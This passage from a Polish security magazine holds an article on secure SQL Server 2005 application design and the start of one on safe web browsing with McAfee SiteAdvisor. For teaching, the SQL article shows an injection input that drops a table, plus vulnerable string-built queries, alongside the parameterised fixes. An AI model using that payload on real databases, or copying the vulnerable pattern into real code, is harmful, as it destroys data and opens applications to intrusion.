nia oraz czy do naszej aplikacji mo-
gą  mieć  dostęp  osoby  niepowołane. 
Najbardziej  niebezpieczne  jest  prze-
chowywanie połączenia w programie 
i przekazywanie użytkownika i hasła 
jawnie. Jest to o tyle groźne, że jeśli 
nasza aplikacja nie zostanie poddana 
procesowi  zaciemniania  kodu  (patrz 
artykuł w hakin9 6/2007), to przy uży-
ciu prostego narzędzia osoba niepo-
wołana może uzyskać dostęp do ser-
wera bazy danych. 

Zaleca się przechowywanie Con-

nection String w plikach konfiguracyj-
nych, a dodatkowo warto przechowy-
wać je w postaci zaszyfrowanej i de-

Rysunek 1. 

Wynik działania programu Reflector.NET

Listing 1. 

Przykładowy plik konfiguracyjny z zaszyfrowanym 

Connection String

<

?xml version=

"1.0"

 

encoding=

"utf-8"

 ?

>

<

configuration

>

  

<

connectionStrings

>

    

<

add name=

"DD_cnx"

 

     connectionString="JoHjmHJHXizQY41UhM4swXpoDrzMqi03N1j0+xiRhbjprFw8yII0

 

 

 

Oc67P0uFg11zHx61tnoT3QLyHxsIxn9mxdN0EMQPrBgYR1i6BxHyUz80Ju/8YYFu+

 

 

 

ObRUAH69KC6oaGh+mNlEkhU4EyO7/Nn2sKAneOhWXqdp3EgttrLc0Q="

 

       providerName=

 

           

"System.Data.SqlClient"

 /

>

  

<

/connectionStrings

>

<

/configuration

>

background image

hakin9 Nr 8/2007

www.hakin9.org

Obrona

46

szyfrować podczas odwoływania się 
do nich. Przykład zawartości takiego 
szyfrowanego pliku konfiguracyjnego 
może wyglądać tak, jak na  Listingu 
1. Jak widzimy, jest ona zupełnie nie-
czytelna dla niepowołanych osób:

Źli użytkownicy

Pod  hasłem  źli  użytkownicy  rozu-
miemy  osoby,  które  chcą  wykorzy-
stać polecenia T-SQLa, a jednocze-
śnie  źle  napisane  aplikacje,  w  któ-
rych  przekazywane  polecenia  SQL 
są  sklejane  z  poszczególnych  pól 
formularzy  i  jako  jedna  całość  są 
wysyłane  do  serwera  bazy  danych. 
Taki  atak  nazywamy  SQL  Injection 
–  czyli  wstrzykiwanie  poleceń  SQL 
do  już  istniejących  poleceń  SQLo-
wych.  Dlaczego  w  ogóle  SQL  In-
jection  działa?  Odpowiedź  na  takie 
pytanie  jest  bardzo  prosta  –  aplika-
cja  bezwzględnie  akceptuje  wszyst-
kie wprowadzone przez użytkownika 
wartości.  Polecenia  TSQL  umiesz-
czane  są  zwykle  w  standardowych 
miejscach:  pola  tekstowe,  ciągi  za-
pytań  czy  też  manipulowanie  war-

tościami  w  samym  HTML-u.  Jeśli 
przyjrzymy się fragmentowi aplikacji, 
gdzie na formularzu użytkownik wpi-
suje nazwę miasta, to przy fragmen-
cie kodu, jak na Listingu 8.

Standardowy i nieszkodliwy użyt-

kownik wprowadzi tu jakąś wartość, 
np.  Redmond,  a  wtedy  zapytanie 
przesłane  do  bazy  danych  będzie 
wyglądać tak:

SELECT * FROM OrdersTable WHERE
      ShipCity = ‘Redmond’

Jeśli  do  komputera  usiądzie  jednak 
zły  użytkownik,  który  chce  nam  za-
szkodzić, to wprowadzi on następu-
jącą wartość: Redmond’ ; DROP TA-

BLE OrdersTable - -. Do serwera ba-
zy danych zostaną w tym momencie 
przesłane dwa zapytania:

SELECT * FROM OrdersTable WHERE
      ShipCity = ‘Redmond’;  
DROP TABLE OrdersTable--’

Jaki płynie z tego wniosek? Po pierw-
sze, nie należy pod żadnym pozorem 

ufać  użytkownikowi  –  nawet  najlep-
szy  użytkownik  może  stanowić  po-
ważne  zagrożenie.  Po  drugie,  trze-
ba  sprawdzać  poprawność  wprowa-
dzanych danych i wyrzucać to, co nie 
jest zgodne. Po trzecie, twoim przyja-
cielem są wyrażenia regularne, dzię-
ki którym błyskawicznie możemy wa-
lidować poprawność wprowadzanych 
danych. Po czwarte nie należy łączyć 
łańcuchów,  które  budują  zapytania 
SQL, a co za tym idzie – zawsze trze-
ba parametryzować zapytania i uży-
wać  procedur  składowanych.  Przy-
kłady pokazane są na Listingu 2 i 3.

Pamiętać należy też o tym, że bu-

dowanie  zapytań  z  łączenia  ciągów 
po stronie SQL-a również może przy-
nieść fatalne skutki, nawet jeśli użyje-
my do tego celu procedury składowa-
nej – przykład na Listingu 4.

Po stronie SQLa

Twórcy  Microsoft  SQL  Server  2005 
podczas tworzenia bazy danych po-
stawili sobie za jeden z głównych ce-
lów  zagwarantowanie  bezpieczeń-
stwa danych i serwera. SQL Server 
2005  wprowadza  nowe  elementy 
bezpieczeństwa, do których zaliczyć 
możemy: restrykcyjny dostęp do ser-
wera,  blokowanie  usług  oraz  bez-
pieczna konfiguracja usług i redukcja 
przestrzeni  ataku  dla  nowych  ele-
mentów poprzez standardowe wyłą-
czenie większości dostępnych usług. 
Dzięki temu, tuż po instalacji serwe-
ra jesteśmy narażeni w minimalnym 
stopniu  na  różnego  rodzaju  zabez-
pieczenia.  Zanim  zaczniemy  oma-
wiać  poszczególne  elementy  zwią-
zane  z  programowaniem  bezpiecz-
nych  aplikacji,  przyjrzyjmy  się  sa-
mej bazie danych SQL Server 2005 
oraz temu, jak komunikuje się ona i 
jak  wygląda  jej  model  bezpieczeń-
stwa. Rysunek 2 przedstawia sche-
mat bezpieczeństwa SQL Server.

Cały proces, od momentu żąda-

nia  do  momentu  pełnej  autoryzacji, 
wygląda następująco:

•   W  pierwszej  kolejności  następu-

je  żądanie  połączenia  sieciowe-
go.  Łącząca  się  aplikacja  „infor-
muje o chęci” połączenia. Nastę-
puje proces „przywitania się” obu 

Listing 2. 

Przykład kodu, który wykorzystuje procedury składowane

c

nx = new SqlConnection(stringConnectionString);cnx.Open();

SqlDataAdapter

 

cmd

 

=

 

new

 

SqlDataAdapter

(

"spMaUprawnienia"

cnx

);

cmd

.

SelectCommand

.

Parameters

.

Add

(

"@u"

SqlDbType

.

VarChar

);

cmd

.

SelectCommand

.

Parameters

.

Add

(

"@h"

SqlDbType

.

VarChar

);

cmd

.

SelectCommand

.

Parameters

[

"@u"

]

.

Value

 

=

edtLogin

.

Text

;

cmd

.

SelectCommand

.

Parameters

[

"@h"

]

.

Value

 

=

 

edtHaslo

.

Text

;

DataSet

 

ds

 

=

 

new

 

DataSet

();

cmd

.

Fill

(

ds

);

Listing 3. 

Przykład procedury składowanej w SQL Server 2005

CREATE PROCEDURE

 [dbo].[spMaUprawnienia]

@u varchar

(

20

)

,

@h varchar

(

20

)

as

SELECT

 count

(

*

)

 

FROM

 uzytkownicy 

WHERE

 uzytkownik = @u 

and

 haslo = @h

Listing 4. 

Przykład procedury składowanej, która generuje SQL z 

różnych ciągów

C

REATE PROCEDURE [dbo].[spMaUprawnienia2]

@u varchar

(

100

)

,

@h varchar

(

100

)

as

declare @wynik nvarchar

(

300

)

set

 @wynik = 

'SELECT count(*) FROM uzytkownicy WHERE uzytkownik ='

 + 

''''

@u+ 

''''

 + 

' and haslo = '

 + 

''''

 + @h + 

''''

EXECUTE sp_executesql @wynik

background image

Microsoft SQL Server 2005 – bezpieczne aplikacje

hakin9 Nr 8/2007

www.hakin9.org

47

aplikacji  (z  ang.  Pre-login  hand-

shake). Następuje połączenie.

•   Następnie  wysyłane  jest  z  aplika-

cji żądanie autentykacji loginu SQL. 
Jeśli weryfikacja powiedzie się, na-
stępuje ustanowienie uprawnień.

•   Kolejnym  krokiem  jest  przejście 

do  odpowiedniej  bazy  danych  i 
autoryzacja użytkownika. Po tym 
działaniu, jeśli użytkownik jest po-
prawnie  zautoryzowany,    nastę-
puje przejście do konkretnej bazy 
danych i ustanowienie kontekstu. 

•   Ostatni krok to próba wykonania 

jakiejś  akcji.  Weryfikowane  są 
uprawnienia dla wszystkich akcji 
i, jeśli jest to możliwe, żądana ak-
cja jest wywoływana.

W taki sposób następuje proces po-
łączenia  do  bazy  danych.  Warto  o 
tym  pamiętać,  jeśli  chcemy  wyko-
nywać  jakieś  akcje  w  poszczegól-
nych momentach tego procesu. Na-
leży  również  mieć  na  uwadze  inne, 
nie programistyczne aspekty bezpie-
czeństwa SQL Server, o standardo-
wo używanych portach, o możliwości 
szyfrowania  połączenia  przy  pomo-
cy SSL z poziomu SQL Server.

Nowe elementy 

języka T-SQL i silnika 

relacyjnego

Schematem nazywamy grupę obiek-
tów, które pozwalają na łatwe zabez-
pieczenie dostępu do danych. Dzię-
ki  temu  możliwe  jest  przypisanie 
użytkownika do schematu w bardzo 
prosty  sposób,  przy  użyciu  poleceń 
T-SQLa. Aby korzystać ze schema-
tów, należy je na początku stworzyć. 
Do tego celu służy polecenie  CRE-

ATE SCHEMA (Listing 5).

Tworzenie tabel w schemacie wy-

maga konstrukcji schemat.tabela. Li-
sting 6 pokazuje stworzenie tabeli we 
wcześniej stworzonym schemacie.

Szczególnym  schematem  jest 

schemat  sys.  Jest  on  tworzony  dla 
każdej  bazy  danych  i  przechowuje 
on wszystkie obiekty systemowe. 

Zmiana kontekstu 

zabezpieczeń

Tworząc system, często zastanawia-
my się nad tym, w jaki sposób można 

uruchomić jakąś procedurę lub funk-
cję przez użytkownika, który standar-
dowo nie ma do tego prawa. W tym 
celu została stworzona nowa klauzu-
la  EXECUTE  AS,  która  pozwala  na 
zmianę  kontekstu  użytkownika.  Aby 
można  było  w  łatwy  sposób  zrozu-
mieć ideę działania tej klauzuli, prze-
śledźmy następujący przykład. Użyt-

kownik  A  ma  uprawnienia  do  wyko-
nania  procedury  Procedura  A.  Pro-
cedura ta działa na obiektach Obiekt 
A, Obiekt B., Obiekt C. Użytkownik A 
ma  uprawnienia  tylko  do  Obiektu  A. 
Obiekt B i Obiekt C należą do użyt-
kownika B. Jeśli użytkownik A wywo-
ła  procedurę,  to  zostanie  ona  prze-
rwana w momencie odwołania się do 

Rysunek 2. 

Schemat komunikacji aplikacji z SQL Server 2005

Żądanie połączenia sieciowego/pre-login handshake

Żądanie autentyfikacji loginu SQL Server

Ustanowienie uprawnień

Połączenie do SQL Server

Przejście do DB i autoryzacja dostępu

Próba wykonania jakiś akcji

Weryfikacja uprawnień dla wszystkich akcji

Ustanowienie kontekstu bazy danych

Listing 5. 

Tworzenie schematu

CREATE

 SCHEMA MojSchemat

Listing 6. 

Tworzenie tabeli

CREATE TABLE

 MojSchemat.MojaTabela 

(

PoleA int, PoleB int

)

Listing 7. 

Użycie EXECUTE AS

CREATE PROCEDURE

 Procedura A

WITH

 EXECUTE 

AS

 ‘B’

AS

…..

Listing .8 

Fragment kodu aplikacji, gdzie użytkownik wprowadza 

prawidłową wartość 

var shipcity;
ShipCity = Request.form 

(

“Shipcity”

)

var sql = “

SELECT

 * 

FROM

 OrdersTable 

WHERE

 ShipCity = ‘” + Shipcity + “’”;

Listing 9. 

Connection String z parametrem Encrypt szyfrującym 

połączenia

Provider=SQLNCLI;Server=myServerAddress;
      Database=myDataBase;Trusted 
      Connection=yes;Encrypt=yes;

background image

hakin9 Nr 8/2007

www.hakin9.org

Obrona

48

obiektu, do którego A nie ma dostę-
pu.  Aby  temu  zapobiec,  można  sto-
sować  klauzulę  EXECUTE  AS,  któ-
ra uruchomi procedurę w kontekście 
uprawnień  użytkownika  B.  Klauzu-
la ta pozwala na stosowania jej przy 
procedurach  składowanych  oraz 
funkcjach użytkownika.

Przykład  7  pokazuje  stworzenie 

procedury, która umożliwi każdemu na 
wywołanie procedury z uprawnieniami 
użytkownika  B.  Możliwe  jest  jeszcze 
użycie tej klauzuli w postaci EXECU-
TE AS SELF. EXECUTE AS SELF po-
zwala na wywołanie procedury w kon-
tekście osoby, która ją wywołuje. 

Szyfrowanie danych

Microsoft  SQL  Server  2005  wspie-
ra  bardzo  mocno  mechanizmy  szy-
frowania.  Dzięki  temu  programista 
ma dużo mniej pracy, a mechanizmy 
wbudowane  w  bazę  danych  w  wielu 
przypadkach  mogą  okazać  się  bar-
dziej  wydajne  niż  własne  rozwiąza-
nia.  Nowa  baza  wspiera  szyfrowa-
nie symetryczne, asymetryczne oraz 
używanie  certyfikatów.  Dostępne  są 

następujące  algorytmy  szyfrowania: 
Dla  symetrycznych:  DES,  TRIPLE_
DES,  RC2,  RC4,  DESX,  AES_128, 
AES_192,  AES_256  oraz  dla  asy-
metrycznych  jest  dostępny  algorytm 
RSA o długości kluczy 512, 1024 oraz 
2048  bitów.  Aby  można  było  uży-
wać  szyfrowania  danych  w  swoich 
aplikacjach,  zostały  stworzone  no-
we  funkcje:  EncryptByKey,  Decrypt-

ByKey,  EncryptByPassPhrase,  De-

cryptByPassPhrase  oraz  Key_GU-

ID,  Key_ID.  Funkcja  EncryptByKey

DecryptByKey  służą  do  szyfrowania 
i  deszyfrowania  wg  zdefiniowanego 
klucza;  EncryptByPassPhrase  oraz 

DecryptByPassPhrase  do  szyfrowa-
nia i deszyfrowania wg zadanej fazy. 
Aby  można  było  pracować  z  szyfro-
wanymi danymi, należy wykonać na-
stępujące kroki:

•   utworzyć klucz główny (może być 

ich kilka),

•   utworzyć, o ile jest to wymagane, 

certyfikat,

•   utworzyć  klucz  symetryczny  lub 

asymetryczny.  (klucz  symetrycz-

ny  może  być  szyfrowany  dodat-
kowo  używając  certyfikatu  lub 
klucza asymetrycznego),

•   otworzyć klucz,
•   po  otwarciu  możliwe  jest  praco-

wanie z szyfrowanymi danymi,

•   zamknąć klucz.

Do  tworzenia  kluczy  wykorzystuje-
my, rozbudowaną o nowe elementy, 
klauzulę CREATE:

•   CREATE MASTER KEY – utwo-

rzymy klucz główny,

•   CREATE  ASYMMETRIC  KEY 

– klucz asymetryczny,

•   CREATE  SYMMETRIC  KEY 

– klucz symetryczny,

•   CREATE  CERTIFICATE  –  two-

rzymy certyfikat.

Wszystkie  symetryczne  oraz  klucze 
prywatne  są  zawsze  przechowywa-
ne  zaszyfrowane.  Ochrona  tych  klu-
czy bazuje na hasłach użytkowników 
oraz  na  automatycznym  procesie 
używającym SQL Server Key Mana-

gement. Musimy pamiętać o tym, że 
wszystkie klucze muszą być zawsze 
chronione.  Jeśli  klucz  zginie,  dane 
również przepadną. Wszystkie klucze 
używane w SQL Server mogą być ar-
chiwizowane i odtwarzane w razie po-
trzeby. Wyróżniamy dwa główne klu-
cze  w  systemie.  Pierwszy  z  nich  to 

Master Key i jest to główny klucz dla 
bazy danych. Jego podstawowym za-
daniem  jest  ochrona  kluczy  prywat-
nych.  Dla  jego  ochrony  mamy  dwa 
polecenia: 

•   ALTER MASTER KEY DDL,
•   DUMP/LOAD MASTER KEY DDL.

Pierwsze  z  nich  może  zmienić  ten 
klucz,  natomiast  drugie  archiwizu-

Rysunek 3. 

Struktura kluczy i ich ochrony w SQL Server 2005

Klucz

Inny klucz

Certyfikat

Klucz prywatny

Klcz publiczny

Hasło

Master Key

Hasło

Master Key

Hasło użytkownika

Chroniony przez

Chroniony przez

Chroniony przez

Chroniony przez

Chroniony przez

Chroniony przez

Chroniony przez

Związany z

Opakowany przez

O autorze

Autor  jest  pracownikiem  firmy  Micro-
soft. Na co dzień zajmuje się m.in. two-
rzeniem  rozwiązań  w  oparciu  o  SQL 
Server w różnych aspektach – bazy re-
lacyjne, usługi integracyjne, usługi ana-
lityczne.  Jest  certyfikowanym  admini-
stratorem baz danych (MCDBA). Kon-
takt z autorem: arturz@microsoft.com

background image

Microsoft SQL Server 2005 – bezpieczne aplikacje

hakin9 Nr 8/2007

www.hakin9.org

49

je  i  odtwarza  go.  Klucz  ten  zawsze 
chroniony  jest  przy  użyciu  hasła 
użytkownika i przechowywany w ba-
zie  danych.  Drugi  z  kluczy  to  Servi-

ce Master Key – czyli klucz serwiso-
wy.  Używany jest do ochrony danych 
systemowych, np. przy hasłach ser-
werów połączonych (Linked servers), 
kluczy master, etc. Do jego obsługi i 
ochrony  mamy  analogiczne  polece-
nia jak w przypadku klucza master:

•   ALTER SERVICE MASTER KEY 

DDL,

•   DUMP/LOAD  SERVICE  MA-

STER KEY DDL.

Różnica jest taka, że ten klucz chro-
niony jest przy użyciu DPAPI i kon-
ta  serwisowego  (service  account). 
Aby  łatwo  zrozumieć  działanie  klu-
czy, przyjrzyjmy się Rysunkowi 3, na 
którym  przedstawione  są  zależno-
ści pomiędzy różnymi kluczami oraz 
sposobami ich ochrony.

Uprawnienia w SQL 

Server 

Aby  sprawdzić,  jakie  mamy  upraw-
nienia  na  danym  obiekcie,  ma-
my  do  dyspozycji  funkcję  systemo-
wą  Sys.fn_mypermissions().  Nato-
miast, aby sprawdzić, jakie w ogóle 
są  uprawnienia,  możemy  posłużyć 
się tabelami systemowymi:

•   Sys.Server_permissions  –  upra-

wnienia na poziomie serwera,

•   Sys.database_permissions – upra- 

wnienia na poziomie bazy danych,

•   Sys.fn_builtin_permissions – wszy- 

stkie wbudowane uprawnienia.

Najlepsze praktyki 

– zalecenia

Zalecenia do stosowania najlepszych 
praktyk  możemy  podzielić  na  dwa 
podstawowe – dla programistów oraz 
dla administratorów. Poniżej lista zale-
ceń (w punktach), które warto stoso-
wać, aby nasze aplikacje były napraw-
dę bezpieczne. Dla programistów:

•   pomyśl  o  szyfrowaniu  ważnych 

danych,

•   szyfrowanie vs. indeksowanie – klu-

cze nie powinny być szyfrowane,

•   nie  pokazuj  komunikatów  błę-

dów  użytkownikowi  (np.  Messa-

ge.Show(Exception.Message),

•   dostęp  poprzez  procedury  skła-

dowane,

•   staraj się zrozumieć różne zagro-

żenia,

•   pomyśl o różnych scenariuszach 

ataków,

•   poznaj  swojego  wroga  –  wiedz, 

co oznaczają pojęcia: SQL Injec-
tion, Buffer Overflows, etc.,

•   aplikacje buduj modułowo,
•   wylistuj graniczne komponenty,
•   analizuj interfejsy i możliwe inte-

rakcje,

•   regularnie przeglądaj kod,
•   wykonuj  checklisty,  aby  niczego 

nie zapomnieć,

•   nie twórz obiektów w schemacie 

DBO,

•   schowaj zasadniczy schemat apli-

kacji,

•   używaj  podpisanych  modułów 

lub  łańcucha  własności  lub  exe-

cute as,

•   niskie  uprawnienia  dla  użytkow-

nika execute as,

•   unikaj dynamicznego SQL,
•   używaj ról do zarządzania upraw-

nieniami.

Dla administratorów:

•   bezpieczeństwo fizyczne - chroń 

wszystkie związane systemy, no-
śniki, kopie zapasowe, etc.,

•   niegdy nie umieszczaj RDBMS w 

niechronionej  sieci  –  zawsze  za 
firewall'em,

•   instaluj SQL Server i umieszczaj 

pliki z danymi na NTFS,

•   izoluj serwisy – nigdy nie instaluj ba-

zy danych na kontrolerze domeny,

•   nie używaj kont LocalSystemLo-

cal or Domain Administrator,

•   najnowszy  kod  jest  najbezpiecz-

niejszym kodem – pamiętaj o in-
stalacji  najnowszych  poprawek 
i aktualizacji,

•   zaproponuj  agresywną  politykę 

dotyczącą archiwizacji,

•   sprawdź, czy masz (a jeśli nie, to 

zbuduj) i jak działa  disaster reco-
very system,

•   włącz  odpowiedni  poziom  audy-

towania,

•   zapewnij  ochronę  transmisji    - 

używaj SSL, IPSEC etc.,

•   zapewnij  szyfrowanie  na  pozio-

mie  plików  -  Unikaj  niedozwolo-
nych kopii bazy danych oraz pa-
miętaj o tym, że SQL wspiera En-

crypted File System (EFS).

Dla programisty i administratora:

•   używaj Windows Authentication,
•   kiedy  używasz  SQL  Authentica-

tion,

•   pamiętaj o SQL Server Password 

Policy Enforcement,

•   używaj DPAPI dla bezpiecznego 

przechowywania uprawnień,

•   wybierz trzy lub więcej warstw,
•   model dwuwarstwowy jest trudny 

w utrzymaniu bezpieczeństwa.

Podsumowanie

Jak  widać,  tworzenie  bezpiecznych 
aplikacji nie jest sprawą prostą. Jest 
bardzo wiele elementów, na które na-
leży zwrócić uwagę już na etapie pro-
jektowania  naszego  systemu.  Nale-
ży również pamiętać o tym, że admi-
nistrator systemów i programista mu-
szą działać razem, aby przyczynić się 
do  sukcesu,  jakim  jest  bezpieczna 
aplikacja. Pamiętajmy również o tym, 
że czasami stworzenie aplikacji, która 
będzie  posiadała  wszystkie  elemen-
ty  wymienione  w  tekście,  spowodu-
je, że będzie ona działać bardzo po-
woli. Artykuł ten miał na celu przybli-
żenie  niektórych  problemów,  bardzo 
wiele rzeczy zostało pominiętych. Ta-
kie  wybiórcze  potraktowanie  zagad-
nienia  wynika  z  tego,  że  temat  ten 
jest tak obszerny, że można o nim na-
pisać książkę. W przypadku tworze-
nia  aplikacji  opartych  o  SQL  Server 
2005  mamy  troszkę  ułatwioną  spra-
wę, ponieważ sam silnik bazy danych 
wspiera  mechanizmy  bezpieczeń-
stwa w sposób automatyczny. Zachę-
cam do wnikliwej analizy tekstu i swo-
ich aplikacji, które działają produkcyj-
nie.  Podzielam  opinie  różnych  spe-
cjalistów, że należy znaleźć przysło-
wiowy złoty środek podczas tworze-
nia takich aplikacji – bezpieczeństwo 
a wydajność – do czego i czytelników 
zachęcam. l

background image

www.hakin9.org

hakin9 Nr 8/2007

50

Obrona

S

posobów na bezpieczne podróżowanie 
przez sieć Internet jest dużo, począw-
szy  od  najbardziej  elementarnych,  jak 

wybór  bezpiecznej  przeglądarki  internetowej, 
używanie  programów  antywirusowych,  po  te 
bardziej  zaawansowane,  jak  firewalle  czy  też 
specjalistyczne narzędzia monitorujące. Z sa-
mymi  wirusami  nie  ma  już  takiego  problemu 
–  na  rynku  IT  jest  dużo  firm  produkujących 
oprogramowanie antywirusowe (zarówno płat-
ne, jak i bezpłatne) i chyba każdy Internauta ma 
tu swojego faworyta, pamiętając o tym, że an-
tywirus to nieodłączny element komputera XXI 
wieku. Problemem nie są więc tylko wirusy i tro-
jany, których pełno w Internecie, lecz coś o wie-
le bardziej niebezpiecznego – strony interneto-
we pełne robaków internetowych, zawirusowa-
ne oprogramowanie, a także coraz bardziej za-
awansowane  techniki  socjotechniczne,  ataki 
takie jak phishing czy pharming. Dobrym roz-
wiązaniem jest używanie kilku narzędzi jedno-
cześnie (pod warunkiem, że nie występują po-
między  nimi  konflikty,  które  mogłyby  zakłócić 
ich pracę). Dość dużą rolę odgrywa tutaj prze-
glądarka internetowa – każdy ma swoje prefe-
rencje, przyzwyczajenia i upodobania. Pamię-
tać jednak należy o aktualizacji oprogramowa-

nia  (aktualizację  nie  są  robione  przypadkowo 
– poważnie!). Ten sarkazm jest kierowany do 
zagorzałych użytkowników IE – ale nie będę ni-
kogo dyskryminował, mimo że jestem zwolen-
nikiem Open-Source, szanuję wybór każdego 
– w końcu i pod Linuksem można używać IE.

Problem  bezpieczeństwa  w  Interne-

cie  jest  dość  poważny  i  można  by  napisać 
o  tym  książkę  –  ale  nie  do  tego  zmierzam. 
Chcę  Wam  przedstawić  dość  ciekawe  narzę-
dzie  on-line  opublikowane  przez  firmę  McA-

Bezpieczna podróż przez 

sieć LAN i Internet?

Michał Poselt

stopień trudności

Surfowanie w Internecie należy bez cienia wątpliwości do 

rzeczy przyjemnych – lecz coraz częściej wiąże się z różnymi 

zagrożeniami. To, że Internet jest niemonitorowany oraz 

specyficzna anonimowość użytkowników w Sieci niesie ze sobą 

pewne niebezpieczeństwa. Jak się przed nimi bronić? Jak z nimi 

walczyć?

Z artykułu dowiesz się

•  o podstawowych zasadach bezpiecznego surfo-

wania w sieci LAN i Internet,

•  jak zabezpieczyć się przed Phishingiem,
•  jak analizować strony przy użyciu McAfee Site-

Advisor.

Co powinieneś wiedzieć

•  podstawowe zasady działania sieci opartych na 

TCP/IP,

•  podstawowe informacje o połączeniach szyfro-

wanych SSL.

background image

Jak bezpiecznie podróżować przez sieci LAN i Internet

hakin9 Nr 8/2007

www.hakin9.org

51

fee,  które  pomoże  Wam  bezpiecz-
nie  podróżować  po  sieci  Internet. 
Jest  to  McAfee  SiteAdvisor  [http://

www.siteadvisor.pl].  Pisałem  wcze-
śniej,  że  jest  to  narzędzie  on-li-
ne. Składa się ono z dwóch części. 
Pierwszą z nich jest strona interne-
towa  siteadvisor.pl,  drugą  zaś  jest 
wtyczka  do  przeglądarek  interneto-
wych, takich jak IE czy Firefox.

McAfee SiteAdvisor 

– skaner online

Jest to rozbudowane narzędzie wy-
konujące  szereg  automatycznych 
testów  badających  bezpieczeństwo 
witryn.  Na  pierwszy  ogień  idą  te-
sty  wiadomości  e-mail  rozsyłanych 
do użytkowników danej strony. Sys-
tem  wprowadza  swój  e-mail  w  do-
stępnych na stronie formularzach, a 
następnie  analizuje  liczbę  otrzyma-
nych przez miesiąc wiadomości oraz 
skanuje pod kątem spamu przy uży-
ciu  programu  SpamAssassin.  McA-
fee  udostępnia  raport  skanowanej 
strony.  Możemy  z  niego  odczytać, 
ile  wiadomości  na  miesiąc  zostało 
wysłanych  na  wprowadzony  adres 
email,  jaki  jest  poziom  klasyfikacji 
tych maili jako spam oraz jakie były 
tytuły tych wiadomości. Dzięki temu 
łatwo  możemy  zorientować  się,  czy 

są  to  maile  z  ofertami  promocyjny-
mi,  konkursami,  informacjami  tech-
nicznymi czy też po prostu zawiera-
ją one spam.

Kolejnym  testem  przeprowa-

dzanym  przez  SiteAdvisor  jest  ba-
danie  plików  możliwych  do  pobra-
nia na badanej witrynie pod wzglę-
dem  obecności  wirusów,  adware, 
spyware itp.

Pliki  poddawane  są  gruntownej 

analizie pod względem tego, jak mo-
dyfikują system (niestety tylko syste-
my Windows przechodzą taką anali-
zę). Możemy zobaczyć, pod jaką na-
zwą  program  dodaje  się  do  Dodaj  i 

Usuń programy, jaki tworzy skrót na 
pulpicie oraz (co ważniejsze) jak mo-
dyfikuje  rejestr  systemu  Windows 
oraz  strukturę  plików.  Dodatkowymi 
informacjami są sumy kontrolne ska-
nowanych plików (MD5), rozmiar pli-
ku  czy  date  ostatniego  skanowania 
pliku przez Site Advisor. 

Na uwagę zasługuje też badanie 

internetowych  powiązań  z  daną  wi-
tryną, tzn. dociekania mające na ce-
lu ustalić, jak często i w jakim stop-
niu  witryna  próbuje  skierować  użyt-
kownika do innych stron. Jeśli są to 
witryny  niebezpieczne/podejrzane, 
skanowana  strona  oznaczana  jest 
jako  niebezpieczna,  ze  względu  na 
powiązania,  jakie  ma  z  domenami 
uznanymi  potencjalnie  za  niebez-
pieczne.

Kolejnym,  a  zarazem  ostatnim 

etapem  automatycznego  testowa-
nia witryny, jest badanie irytujących 

elementów. W tym przypadku bada-
na  jest  liczba  wyskakujących  okie-
nek oraz zapisywane na dysku pliki 

cookies.  Jeśli  ich  liczba  jest  duża, 
witryna  otrzymuje  czerwone  ozna-

Rysunek 1. 

Przykładowy wynik skanowania dla webpark.pl

Rysunek 2. 

Wynik skanowania programu NetStumbler pobranego z 

warchalking.pl

background image

hakin9 Nr 8/2007

www.hakin9.org

Obrona

52

czenie  –  co  wiąże  się  z  uznaniem 
witryny za niebezpieczną – nieprzy-
jazną  użytkownikowi.  Wszystkie  te 
testy  oraz  opinie  innych  użytkow-

ników  wpływają  na  ocenę  końco-
wą  witryny.  Witryna  może  zostać 
zaklasyfikowana do jednej z trzech 
kategorii:

• 

witryny  bezpieczne  (oznaczone 
podczas  skanowania  kolorem 
zielonym),

• 

witryny  niebezpieczne  (kolor 
czerwony),

• 

witryny podejrzane (kolor żółty).

Gdy witryna nie została jeszcze prze-
analizowana  przez  system  –  ozna-
czona jest kolorem szarym.

McAfee SiteAdvisor – 

wtyczka do przeglądarki 

IE oraz Firefox

Łatwy  w  instalacji  dodatek  do  naj-
popularniejszych  przeglądarek  in-
ternetowych,  takich  jak  Internet 
Explorer [http://www.siteadvisor.com/

download/ie.html]  czy  Firefox  [http:

//www.siteadvisor.com/download/

ff.html]

Wtyczka  do  przeglądarki  oce-

nia  witryny  tak  samo  jak  narzędzie 
on-line, a wyniki testowania pokazu-
je  bezpośrednio  w  przeglądarce  in-
ternetowej:

• 

obok nazw stron (w przypadku wy-
szukiwana przy pomocy wyszuki-
warek, takich jak http://google.pl ,

http://search.yahoo.com/ ),

• 

w  dolnej  prawej  części  okna 
przeglądarki (na pasku stanu) wi-
doczny  będzie  przycisk  McAfee 
SiteAdvisor  w  jednym  z  trzech 
kolorów  informujących  o  klasyfi-
kacji danej strony.

Ochrona sieci LAN

Z  dostępnością  oprogramowania 
do  bezpiecznego  podróżowania  po 
sieci  LAN  jest  o  wiele  łatwiej  niż  w 
poprzednim  wypadku.  Oczywiście 
ochrona  w  sieci  LAN  w  większości 
przypadków  wiąże  się  z  ochroną  w 
sieci Internet – lecz nie jest to regułą. 
Najczęstszym błędem jest nieprawi-
dłowa konfiguracja (lub jej całkowity 
brak)  kluczowych  elementów  syste-
mu oraz oprogramowania na nim za-
instalowanego.

Firewall – podstawa 

bezpiecznej sieci

Podstawowym  elementem  ochrony 
sieci  LAN  przed  zagrożeniami  po-
chodzącymi  z  zewnątrz  sieci  jest  fi-

Rysunek 3. 

Przykładowy wynik skanowania dla kazaa.com 

Rysunek 4. 

Badanie irytujących elementów – czyli pop-up i cookies pod 

lupą SiteAdvisor 

Rysunek 5. 

Wynik skanowania widoczny w wyszukiwarce Google

background image

Terminologia

Słownik powstał na bazie wikipedia.pl

•  Adware – programy, które bez zgody odbiorcy, w sposób 

utrudniający obsługę komputera wyświetlają niechciane re-
klamy. W przypadku ukrytych modułów adware często łą-
czone są one z innymi malware (złośliwymi kodami), jak 
np.  modułami  szpiegującymi  (ang.  Spyware),  dostarcza-
jącymi  autorom  aplikacji  wiele  informacji  o  użytkowniku 
– głównie adres IP, używany system operacyjny, przeglą-
darka, a niekiedy strony, do których łączy się dany użyt-
kownik,

•  Firewall – (Zapora sieciowa, zapora przeciwogniowa) – je-

den ze sposobów zabezpieczania sieci i systemów przed 
intruzami. Termin ten może odnosić się zarówno do de-
dykowanego sprzętu komputerowego wraz ze specjalnym 
oprogramowaniem, jak i do samego oprogramowania blo-
kującego niepowołany dostęp do komputera, na którego 
straży stoi,

•  Pharming – bardziej niebezpieczna dla użytkownika oraz 

trudniejsza  do  wykrycia  forma  phishingu.  Oszust  wyko-
nuje dodatkowo atak na serwer DNS w celu skojarzenia 
